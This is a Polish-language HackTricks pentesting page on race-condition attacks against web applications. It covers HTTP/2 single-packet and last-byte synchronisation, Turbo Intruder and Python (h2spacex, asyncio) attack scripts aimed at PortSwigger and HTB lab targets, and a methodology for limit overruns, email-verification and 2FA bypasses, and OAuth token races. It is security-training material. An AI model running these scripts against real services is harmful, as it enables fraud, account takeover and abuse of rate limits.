hacktricks/pentesting-web/race-condition.md

22 KiB

Wyścig warunkowy


Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Zacznij od zera i zostań mistrzem hakowania AWS z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

{% hint style="warning" %} Aby uzyskać głębsze zrozumienie tej techniki, sprawdź oryginalny raport na stronie https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Wzmacnianie ataków wyścigu warunkowego

Główną przeszkodą w wykorzystaniu wyścigów warunkowych jest upewnienie się, że wiele żądań jest obsługiwanych jednocześnie, z bardzo niewielką różnicą w czasach ich przetwarzania—idealnie poniżej 1 ms.

Oto kilka technik synchronizacji żądań:

Atak pojedynczym pakietem HTTP/2 kontra synchronizacja ostatniego bajtu HTTP/1.1

  • HTTP/2: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ zakłóceń sieci. Jednakże, ze względu na zmienności po stronie serwera, dwa żądania mogą nie wystarczyć do skutecznego wykorzystania wyścigu warunkowego.
  • HTTP/1.1 'Synchronizacja ostatniego bajtu': Umożliwia wcześniejsze wysłanie większości części 20-30 żądań, z zatrzymaniem małego fragmentu, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera.

Przygotowanie do synchronizacji ostatniego bajtu obejmuje:

  1. Wysłanie nagłówków i danych ciała bez ostatniego bajtu bez zakończenia strumienia.
  2. Poczekanie 100 ms po początkowym wysłaniu.
  3. Wyłączenie TCP_NODELAY, aby wykorzystać algorytm Nagle'a do partycjonowania końcowych ramek.
  4. Pobudzenie połączenia poprzez pingowanie.

Następne wysłanie zatrzymanych ramek powinno skutkować ich przybyciem w jednym pakiecie, co można zweryfikować za pomocą Wiresharka. Ta metoda nie dotyczy plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC.

Dostosowanie do architektury serwera

Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą kierować żądania w inny sposób, wpływając na czasowanie. Wstępne ogrzewanie połączenia po stronie serwera, poprzez nieistotne żądania, może znormalizować czasowanie żądania.

Obsługa blokowania opartego na sesji

Frameworki takie jak obsługa sesji w PHP serializują żądania według sesji, potencjalnie zaciemniając podatności. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem.

Przezwyciężanie limitów szybkości lub zasobów

Jeśli ogrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień limitów szybkości lub zasobów serwerów WWW poprzez zalewanie fałszywymi żądaniami może ułatwić atak pojedynczym pakietem, wywołując opóźnienie po stronie serwera sprzyjające wyścigom warunkowym.

Przykłady ataków

  • Tubo Intruder - atak pojedynczym pakietem HTTP2 (1 punkt końcowy): Możesz wysłać żądanie do Turbo Intruder (Rozszerzenia -> Turbo Intruder -> Wyślij do Turbo Intruder), możesz zmienić w żądaniu wartość, którą chcesz brutalnie siłować dla %s jak w csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s a następnie wybrać examples/race-single-packer-attack.py z listy rozwijanej:

Jeśli zamierzasz wysłać różne wartości, możesz zmodyfikować kod na taki, który używa listy słów z schowka:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} Jeśli witryna nie obsługuje HTTP2 (tylko HTTP1.1), użyj Engine.THREADED lub Engine.BURP zamiast Engine.BURP2. {% endhint %}

  • Tubo Intruder - Atak jednopakietowy HTTP2 (Wiele punktów końcowych): W przypadku konieczności wysłania żądania do jednego punktu końcowego, a następnie wielu do innych punktów końcowych w celu wywołania RCE, można zmodyfikować skrypt race-single-packet-attack.py na coś w rodzaju:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Jest również dostępny w Repeaterze za pomocą nowej opcji 'Wysyłaj grupę równolegle' w Burp Suite.
  • Dla limit-overrun można po prostu dodać tę samą prośbę 50 razy w grupie.
  • Dla rozgrzewania połączenia, można dodać na początku grupy kilka żądań do nieustalonej części serwera internetowego.
  • Aby opóźnić proces między przetwarzaniem jednego żądania a drugiego w 2 krokach podstanu, można dodać dodatkowe żądania między oba żądania.
  • Dla wielopunktowego RC można zacząć wysyłać żądanie, które przechodzi do ukrytego stanu, a następnie 50 żądań zaraz po nim, które wykorzystują ukryty stan.
  • Zautomatyzowany skrypt w języku Python: Celem tego skryptu jest zmiana adresu e-mail użytkownika, ciągle weryfikując go, aż token weryfikacyjny nowego adresu e-mail dotrze do ostatniego adresu e-mail (to dlatego, że w kodzie widziano RC, gdzie można było zmienić e-mail, ale weryfikacja była wysyłana na stary adres, ponieważ zmienna wskazująca e-mail była już wypełniona pierwszym).
    Gdy słowo "objetivo" zostanie znalezione w otrzymanych e-mailach, wiemy, że otrzymaliśmy token weryfikacyjny zmienionego adresu e-mail i kończymy atak.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Surowy BF

Przed poprzednimi badaniami używano następujących ładunków, które po prostu próbowały wysłać pakiety tak szybko, jak to możliwe, aby spowodować wyścig warunków.

  • Powtarzacz: Sprawdź przykłady z poprzedniej sekcji.
  • Włamywacz: Wyślij żądanie do Włamywacza, ustaw liczbę wątków na 30 w menu Opcje, wybierz jako ładunek Puste ładunki i wygeneruj 30.
  • Turbo Włamywacz
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

Metodologia RC

Przekroczenie limitu / TOCTOU

To najbardziej podstawowy rodzaj wyścigowej sytuacji, w której wykrywane są podatności w miejscach, które ograniczają liczbę razy, jakie można wykonać daną akcję. Na przykład używanie tego samego kodu rabatowego kilka razy w sklepie internetowym. Bardzo łatwy przykład można znaleźć w tym raporcie lub w tym błędzie.

Istnieje wiele wariantów tego rodzaju ataku, w tym:

  • Wymienianie karty podarunkowej wielokrotnie
  • Ocenianie produktu wielokrotnie
  • Wypłacanie lub przekazywanie gotówki w większej ilości niż saldo konta
  • Ponowne wykorzystanie jednego rozwiązania CAPTCHA
  • Ominięcie limitu szybkości anty-brute-force

Ukryte podstany

Wykorzystywanie złożonych sytuacji wyścigowych często polega na korzystaniu z krótkich okazji do interakcji z ukrytymi lub niezamierzonymi podstanami maszyny. Oto jak do tego podejść:

  1. Zidentyfikuj Potencjalne Ukryte Podstany
  • Zacznij od zlokalizowania punktów końcowych, które modyfikują lub współdziałają z krytycznymi danymi, takimi jak profile użytkowników czy procesy resetowania hasła. Skup się na:
  • Przechowywanie: Preferuj punkty końcowe, które manipulują danymi przechowywanymi po stronie serwera, nad tymi obsługującymi dane po stronie klienta.
  • Działanie: Szukaj operacji, które zmieniają istniejące dane, co bardziej prawdopodobnie stwarza warunki do wykorzystania w porównaniu do tych, które dodają nowe dane.
  • Kluczowanie: Udane ataki zazwyczaj obejmują operacje oparte na tym samym identyfikatorze, np. nazwie użytkownika lub tokenie resetowania.
  1. Przeprowadź Początkowe Testowanie
  • Przetestuj zidentyfikowane punkty końcowe atakami wyścigowymi, obserwując wszelkie odstępstwa od oczekiwanych rezultatów. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą sygnalizować podatność.
  1. Wykaż Podatność
  • Ogranicz atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często wystarczą tylko dwa. Ten krok może wymagać wielokrotnych prób lub automatyzacji ze względu na precyzyjne wymagane synchronizacje czasowe.

Ataki Zależne od Czasu

Precyzja w synchronizacji żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak znaczniki czasu. Na przykład generowanie tokenów resetowania hasła opartych na znacznikach czasu może pozwolić na identyczne tokeny dla równoczesnych żądań.

Aby Wykorzystać:

  • Użyj precyzyjnej synchronizacji, jak w ataku jednopakietowym, aby złożyć równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na podatność.

Przykład:

  • Poproś o dwa tokeny resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów.

Sprawdź to Laboratorium PortSwigger aby to wypróbować.

Studia przypadków ukrytych podstanów

Zapłać i dodaj przedmiot

Sprawdź to Laboratorium PortSwigger, aby zobaczyć, jak zapłacić w sklepie i dodać dodatkowy przedmiot, za który nie trzeba płacić.

Potwierdź inne adresy e-mail

Idea polega na zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny, aby dowiedzieć się, czy platforma weryfikuje nowo zmieniony adres.

Zgodnie z tą analizą Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł wysłać token weryfikacyjny e-maila jednego adresu e-mail na inny adres e-mail.

Sprawdź to Laboratorium PortSwigger aby to wypróbować.

Ukryte stany bazy danych / Ominięcie potwierdzenia

Jeśli używane są 2 różne zapisy do dodania informacji do bazy danych, istnieje krótki okres czasu, w którym tylko pierwsze dane zostały zapisane w bazie danych. Na przykład podczas tworzenia użytkownika nazwa użytkownika i hasło mogą być zapisane, a następnie token do potwierdzenia nowo utworzonego konta jest zapisywany. Oznacza to, że przez krótki czas token do potwierdzenia konta jest pusty.

Dlatego zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem (token= lub token[]= lub jakakolwiek inna wariacja) w celu natychmiastowego potwierdzenia konta może pozwolić na potwierdzenie konta, którego nie kontrolujesz.

Sprawdź to Laboratorium PortSwigger aby to wypróbować.

Ominięcie 2FA

Poniższy pseudokod jest podatny na wyścigową sytuację, ponieważ przez bardzo krótki czas 2FA nie jest wymagane, podczas gdy sesja jest tworzona:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

Wieczysta wytrwałość OAuth2

Istnieje kilka dostawców OAuth. Te usługi pozwolą Ci utworzyć aplikację i uwierzytelnić użytkowników zarejestrowanych przez dostawcę. Aby to zrobić, klient będzie musiał zezwolić Twojej aplikacji na dostęp do niektórych danych wewnątrz dostawcy OAuth.
Więc, do tej pory to tylko standardowe logowanie za pomocą google/linkedin/github... gdzie pojawia się strona informująca: "Aplikacja <InsertCoolName> chce uzyskać dostęp do Twoich informacji, czy chcesz jej na to zezwolić?"

Wyścig warunków w authorization_code

Problem pojawia się, gdy zaakceptujesz i automatycznie wysyłasz authorization_code do złośliwej aplikacji. Następnie ta aplikacja wykorzystuje wyścig warunków w dostawcy usługi OAuth, aby wygenerować więcej niż jedną AT/RT (Authentication Token/Refresh Token) z authorization_code dla Twojego konta. W skrócie, wykorzysta fakt, że zezwoliłeś aplikacji na dostęp do swoich danych, aby utworzyć kilka kont. Wtedy, jeśli zatrzymasz zezwolenie dla aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą wciąż ważne.

Wyścig warunków w Refresh Token

Gdy już uzyskasz ważny RT, możesz spróbować wykorzystać go do wygenerowania kilku AT/RT i nawet jeśli użytkownik anuluje uprawnienia dla złośliwej aplikacji do dostępu do swoich danych, kilka RT nadal będzie ważnych.

RC w WebSockets

W WS_RaceCondition_PoC znajdziesz PoC w języku Java do wysyłania wiadomości websocket równolegle, aby wykorzystać wyścigi warunków również w WebSockets.

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:


Użyj Trickest do łatwego tworzenia i automatyzacji workflowów zasilanych przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Zdobądź dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}